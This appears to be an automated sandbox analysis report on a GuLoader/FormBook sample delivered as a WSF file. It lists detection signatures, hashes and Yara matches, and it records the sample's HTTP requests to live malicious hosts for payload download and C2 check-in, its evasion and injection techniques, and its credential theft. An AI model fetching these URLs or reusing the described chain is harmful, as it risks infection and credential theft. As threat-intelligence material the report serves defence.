Windows Analysis Report
Ordine_doc_419024001904.wsf

Overview

General Information

Sample name: Ordine_doc_419024001904.wsf
Analysis ID: 1431462
MD5: 734c9d6b82b44237e5befe07faa4149b
SHA1: b6a244eeb8ed209f2222b112cf2925f7eac7d1db
SHA256: 4949351915c2627905d17fe54bb56341f0af23331257e235b79eaa876fcad8cf
Tags: wsf
Infos:

Detection

FormBook, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Queues an APC in another process (thread injection)
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: http://www.oyoing.com/gnbc/?BP-t5v1=C1gai5pWl56CEUX9IJicnlurrW3FMhatoBDmIFOQ7zGon0Xv0KBemEgaA/rlfkMV Avira URL Cloud: Label: malware
Source: http://www.oyoing.com/;a3 Avira URL Cloud: Label: malware
Source: http://www.tyaer.com/gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g== Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: www.tyaer.com Virustotal: Detection: 10% Perma Link
Source: www.oyoing.com Virustotal: Detection: 9% Perma Link
Source: http://87.121.105.163 Virustotal: Detection: 18% Perma Link
Source: http://87.121.105.163/Acariatre43.chm Virustotal: Detection: 18% Perma Link
Source: http://87.121.105.163/icjFpYDkBweqyeZ252.bin Virustotal: Detection: 17% Perma Link
Multi AV Scanner detection for submitted file
Source: Ordine_doc_419024001904.wsf ReversingLabs: Detection: 41%
Source: Ordine_doc_419024001904.wsf Virustotal: Detection: 42% Perma Link
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: .Core.pdb's source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227629846.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000002.3227696183.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: ATBroker.pdb source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2387846679.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb52 source: powershell.exe, 00000005.00000002.2387846679.0000000000A7C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ATBroker.pdbGCTL source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wab.pdbGCTL source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: wab.pdb source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49716 -> 47.91.88.207:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 87.121.105.163 87.121.105.163
Source: Joe Sandbox View IP Address: 47.91.88.207 47.91.88.207
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: global traffic HTTP traffic detected: GET /Acariatre43.chm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /icjFpYDkBweqyeZ252.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeHost: www.tyaer.comUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic DNS traffic detected: DNS query: www.tyaer.com
Source: global traffic DNS traffic detected: DNS query: www.oyoing.com
Source: global traffic DNS traffic detected: DNS query: www.megabet303.lol
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 25 Apr 2024 06:13:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2BDB2AF9C9B8D54202F32671A99FDCE197639D51BFF6A90216397E2A0B00Set-Cookie: _csrf=f445de3d72f34d31db2cc13c47576b485c838e64d90e6ad097960e119c19ba5ca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%229Qyd7XXN84-ILww9iXyVDIv5NT3LNNax%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 35 47 47 43 57 2d 42 6b 74 56 4f 38 6e 37 6c 76 43 4a 34 48 65 72 5f 6f 2d 56 56 2d 70 64 66 55 65 38 31 44 6e 37 43 77 72 6f 62 64 4d 50 73 5f 31 7a 7a 74 48 59 53 72 6c 43 5a 45 36 58 42 44 31 72 43 41 41 7a 72 73 6f 65 45 31 6d 58 44 54 5f 76 37 50 5f 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="
Source: powershell.exe, 00000002.00000002.2458414938.000001AE31CDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2458414938.000001AE30304000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163
Source: powershell.exe, 00000002.00000002.2458414938.000001AE30304000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/Acariatre43.chmP
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/Acariatre43.chmXR
Source: wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBwd
Source: wab.exe, 00000009.00000002.2687527805.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2703035148.000000001FC90000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.bin
Source: wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.bin1
Source: wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.bin;
Source: wab.exe, 00000009.00000002.2703035148.000000001FC90000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.binMinnsTjeduelvalenza.it/ka/icjFpYDkBweqyeZ252.bin
Source: wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.binllI
Source: wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.binr
Source: powershell.exe, 00000002.00000002.2458414938.000001AE31D37000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.H
Source: powershell.exe, 00000005.00000002.2400899960.0000000006FF1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.m
Source: powershell.exe, 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2458414938.000001AE300E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2388352009.00000000046B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2457236271.000001AE2E665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.co
Source: AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.oyoing.com/;a3
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007D2D000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.oyoing.com/gnbc/?BP-t5v1=C1gai5pWl56CEUX9IJicnlurrW3FMhatoBDmIFOQ7zGon0Xv0KBemEgaA/rlfkMV
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2458414938.000001AE300E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2388352009.00000000046B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2458414938.000001AE312AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: AtBroker.exe, 0000000C.00000003.2875183015.0000000007D18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: amsi32_4320.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
